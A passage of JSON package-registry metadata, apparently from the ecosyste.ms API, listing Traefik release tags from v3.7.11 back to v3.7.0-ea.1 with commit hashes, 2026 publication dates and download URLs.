aefik/releases/tag/v3.7.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.7.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.11/manifests"},{"name":"v2.11.55","sha":"1ac90fccb982f6de40f557493152bdb0c9f0a809","kind":"commit","published_at":"2026-08-18T08:38:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.55","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.55","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.55","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.55","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.55/manifests"},{"name":"v3.7.10","sha":"2a2349356c01b1b1f7ecddb0c17b30c97f5241e7","kind":"commit","published_at":"2026-07-31T09:04:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.7.10","html_url":"https://github.com/traefik/traefik/releases/tag/v3.7.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.7.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.10/manifests"},{"name":"v3.6.25","sha":"4b18b24b0b002dcc80e0640c6088a87d813de29a","kind":"commit","published_at":"2026-07-31T08:34:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.6.25","html_url":"https://github.com/traefik/traefik/releases/tag/v3.6.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.6.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.25/manifests"},{"name":"v2.11.54","sha":"1e8e8c200cce5fbd1fff8579e5e9dc0311a8a54a","kind":"commit","published_at":"2026-07-31T08:10:06.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.54","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.54","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.54","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.54","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.54/manifests"},{"name":"v3.7.9","sha":"d0bd2ec198533d760c1abfc74b98033d6d92d039","kind":"commit","published_at":"2026-07-24T08:32:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.7.9","html_url":"https://github.com/traefik/traefik/releases/tag/v3.7.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.7.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.9/manifests"},{"name":"v3.6.24","sha":"cc336581846996ffbd01b1290fd5b44787bad324","kind":"commit","published_at":"2026-07-24T08:08:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.6.24","html_url":"https://github.com/traefik/traefik/releases/tag/v3.6.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.6.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.24/manifests"},{"name":"v2.11.53","sha":"e31d5708e4b00535a0e965709c11433790b54176","kind":"commit","published_at":"2026-07-24T07:42:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.53","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.53","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.53","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.53","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.53/manifests"},{"name":"v3.7.8","sha":"4a87f05acfa2beb0211cee6e2ad4d002289752b5","kind":"commit","published_at":"2026-07-15T12:34:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.7.8","html_url":"https://github.com/traefik/traefik/releases/tag/v3.7.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.7.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.8/manifests"},{"name":"v3.7.7","sha":"b2c18b1e39fbe2099e4dce927e4e6e56674ede0f","kind":"commit","published_at":"2026-07-08T15:26:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.7.7","html_url":"https://github.com/traefik/traefik/releases/tag/v3.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.7.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.7/manifests"},{"name":"v3.6.23","sha":"84d4e8b139d1ac5e5b2d250fff95baed5ba0584f","kind":"commit","published_at":"2026-07-08T14:18:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.6.23","html_url":"https://github.com/traefik/traefik/releases/tag/v3.6.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.6.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.23/manifests"},{"name":"v2.11.52","sha":"00d92a043fdee9c562f4b1fda9c2d6f359a25eb2","kind":"commit","published_at":"2026-07-08T12:56:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.52","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.52","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.52","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.52","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.52/manifests"},{"name":"v3.7.6","sha":"1afefcd7149ff331fa73ef62fb3dd69e3ced37ba","kind":"commit","published_at":"2026-06-30T12:08:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.7.6","html_url":"https://github.com/traefik/traefik/releases/tag/v3.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.6/manifests"},{"name":"v3.6.22","sha":"e15c8f86ba7370d01f529682f3b28d2f1d2bb4b5","kind":"commit","published_at":"2026-06-30T09:46:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.6.22","html_url":"https://github.com/traefik/traefik/releases/tag/v3.6.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.6.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.22/manifests"},{"name":"v2.11.51","sha":"e7a344b5a105c87271c853d15b50de07c15fe641","kind":"commit","published_at":"2026-06-30T08:52:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.51","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.51","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.51","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.51","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.51/manifests"},{"name":"v3.7.5","sha":"26c96a3935cafb473f4a5bae1886560d9aa4e4f0","kind":"commit","published_at":"2026-06-10T14:46:07.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.7.5","html_url":"https://github.com/traefik/traefik/releases/tag/v3.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.5/manifests"},{"name":"v3.6.21","sha":"b46e795f41e9aa02b25f1ab4eef4907a766c15c1","kind":"commit","published_at":"2026-06-10T14:02:11.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.6.21","html_url":"https://github.com/traefik/traefik/releases/tag/v3.6.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.6.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.21/manifests"},{"name":"v2.11.50","sha":"ad1c1fc2f20c0dcb24df59685afedbf83c8232ec","kind":"commit","published_at":"2026-06-10T13:28:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.50","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.50","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.50","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.50","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.50/manifests"},{"name":"v3.7.4","sha":"74b6408475ffbba8a8c02a0abd0ac7e608d72087","kind":"commit","published_at":"2026-06-05T13:56:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.7.4","html_url":"https://github.com/traefik/traefik/releases/tag/v3.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.4/manifests"},{"name":"v3.6.20","sha":"1137f1f8076b3bd7966464769e9a65a554e7e894","kind":"commit","published_at":"2026-06-05T13:20:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.6.20","html_url":"https://github.com/traefik/traefik/releases/tag/v3.6.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.6.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.20/manifests"},{"name":"v2.11.49","sha":"ba8830fdef9ea6e9f0497b06128b36cf5d4a2760","kind":"commit","published_at":"2026-06-05T12:48:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.49","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.49","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.49","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.49","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.49/manifests"},{"name":"v3.7.3","sha":"5ea71f1c3af049067a0b6d5afd97bad1cf1a0071","kind":"commit","published_at":"2026-06-04T13:14:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.7.3","html_url":"https://github.com/traefik/traefik/releases/tag/v3.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.3/manifests"},{"name":"v3.6.19","sha":"281ce42477540b3777afd80c8d85dc17611388b4","kind":"commit","published_at":"2026-06-04T09:28:16.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.6.19","html_url":"https://github.com/traefik/traefik/releases/tag/v3.6.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.6.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.19/manifests"},{"name":"v2.11.48","sha":"2c436f3c239932f9eb8afab57fc2668d86880e35","kind":"commit","published_at":"2026-06-04T08:36:22.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.48","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.48","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.48","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.48","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.48/manifests"},{"name":"v3.7.2","sha":"e38281d8adf6a091bd3d8e043e683864e6052c83","kind":"commit","published_at":"2026-06-03T13:34:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.7.2","html_url":"https://github.com/traefik/traefik/releases/tag/v3.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.2/manifests"},{"name":"v3.6.18","sha":"32da599169a0bde6ef0aab66d7989998d02d5636","kind":"commit","published_at":"2026-06-03T09:50:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.6.18","html_url":"https://github.com/traefik/traefik/releases/tag/v3.6.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.6.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.18/manifests"},{"name":"v2.11.47","sha":"855561306fee33fa5fd59d2bbbb7961cf34aa6ef","kind":"commit","published_at":"2026-06-03T09:02:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.47","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.47","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.47","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.47","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.47/manifests"},{"name":"v3.7.1","sha":"fa49e2bcad7ffd8a80accdf1fae1ae480913d93d","kind":"commit","published_at":"2026-05-11T13:10:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.7.1","html_url":"https://github.com/traefik/traefik/releases/tag/v3.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.1/manifests"},{"name":"v3.6.17","sha":"32c086193777fe8297fcc0ccda2df396a4d477e7","kind":"commit","published_at":"2026-05-11T12:44:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.6.17","html_url":"https://github.com/traefik/traefik/releases/tag/v3.6.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.6.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.17/manifests"},{"name":"v2.11.46","sha":"22460f0a62cc49e5afb43b7c8a9053e2992a9f43","kind":"commit","published_at":"2026-05-11T12:20:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.46","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.46","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.46","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.46","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.46/manifests"},{"name":"v3.7.0","sha":"04aa6bb4f9776f2ba87e5cd181d250e3610e6419","kind":"commit","published_at":"2026-05-05T15:32:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.7.0","html_url":"https://github.com/traefik/traefik/releases/tag/v3.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.0/manifests"},{"name":"v3.6.16","sha":"801eb2f149fb0d50cfa706abb741a1c0ae4c7800","kind":"commit","published_at":"2026-05-05T13:36:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.6.16","html_url":"https://github.com/traefik/traefik/releases/tag/v3.6.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.6.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.16/manifests"},{"name":"v2.11.45","sha":"ee94dc5343d7c58a02932d055073a936567ffdc1","kind":"commit","published_at":"2026-05-05T12:22:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.45","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.45","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.45","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.45","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.45/manifests"},{"name":"v3.7.0-rc.3","sha":"47851c212fcea276d5661c1cec755ac287bc8389","kind":"commit","published_at":"2026-04-29T14:44:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.7.0-rc.3","html_url":"https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.7.0-rc.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.0-rc.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.0-rc.3/manifests"},{"name":"v3.6.15","sha":"c5ce3f847abacc85905d60753abc0c8dcea0f577","kind":"commit","published_at":"2026-04-29T12:36:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.6.15","html_url":"https://github.com/traefik/traefik/releases/tag/v3.6.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.6.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.15/manifests"},{"name":"v2.11.44","sha":"98cf988d30b9441934c85d7e73f315fb4d3e26f3","kind":"commit","published_at":"2026-04-29T09:56:10.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.44","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.44","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.44","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.44","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.44/manifests"},{"name":"v3.7.0-rc.2","sha":"a47e15f1299d23fec1bcbb78bece4325a40d63f2","kind":"commit","published_at":"2026-04-22T09:56:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.7.0-rc.2","html_url":"https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.7.0-rc.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.0-rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.0-rc.2/manifests"},{"name":"v3.6.14","sha":"a6664c95b589842489d37d73e7d01bf1c8881685","kind":"commit","published_at":"2026-04-22T08:54:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.6.14","html_url":"https://github.com/traefik/traefik/releases/tag/v3.6.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.6.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.14/manifests"},{"name":"v2.11.43","sha":"a9ce32a8dc3db5170e283215ab000bd053aea865","kind":"commit","published_at":"2026-04-22T08:26:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.43","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.43","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.43","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.43/manifests"},{"name":"v3.7.0-rc.1","sha":"1db00b974bc6032deb7e9c347340859cee3004d4","kind":"commit","published_at":"2026-04-07T14:38:05.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.7.0-rc.1","html_url":"https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.7.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.0-rc.1/manifests"},{"name":"v3.6.13","sha":"94764103c4f44d26cb2aafd64ac6c5af7622d7af","kind":"commit","published_at":"2026-04-07T09:52:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.6.13","html_url":"https://github.com/traefik/traefik/releases/tag/v3.6.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.6.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.13/manifests"},{"name":"v3.7.0-ea.3","sha":"9990cfc613835f32d831174bd2d5dea6b2c1e45a","kind":"commit","published_at":"2026-03-26T10:56:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.7.0-ea.3","html_url":"https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.7.0-ea.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.0-ea.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.0-ea.3/manifests"},{"name":"v3.6.12","sha":"b782bd32d444af99d76e5f87970b02a9aa80ba97","kind":"commit","published_at":"2026-03-26T09:54:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.6.12","html_url":"https://github.com/traefik/traefik/releases/tag/v3.6.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.6.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.12/manifests"},{"name":"v2.11.42","sha":"e4b2c648bf78b29a97a560571510b61eb7dc67b6","kind":"commit","published_at":"2026-03-26T08:48:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.42","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.42","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.42","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.42","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.42/manifests"},{"name":"v3.7.0-ea.2","sha":"d7de8ee4f32d2634f729fda28ba451acfc79f724","kind":"commit","published_at":"2026-03-19T15:10:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.7.0-ea.2","html_url":"https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.7.0-ea.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.0-ea.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.7.0-ea.2/manifests"},{"name":"v3.6.11","sha":"33219a0af86c41a8db81d37c444f65172bfb3e35","kind":"commit","published_at":"2026-03-19T09:12:04.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v3.6.11","html_url":"https://github.com/traefik/traefik/releases/tag/v3.6.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v3.6.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v3.6.11/manifests"},{"name":"v2.11.41","sha":"f2c198c9f36e97895f045e83ad2050ad21e52f86","kind":"commit","published_at":"2026-03-18T09:40:06.000Z","download_url":"https://codeload.github.com/traefik/traefik/tar.gz/v2.11.41","html_url":"https://github.com/traefik/traefik/releases/tag/v2.11.41","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/traefik/traefik@v2.11.41","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.41","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/traefik%2Ftraefik/tags/v2.11.41/manifests"},{"name":"v3.7.0-ea.1","sha":"67c64ed9b25fbb90f1086977a62827133a7aa01b","kind":"commit","published_at":"2026-03-12T10:26:04.000Z","download_url":"https://codeload.github.com/tra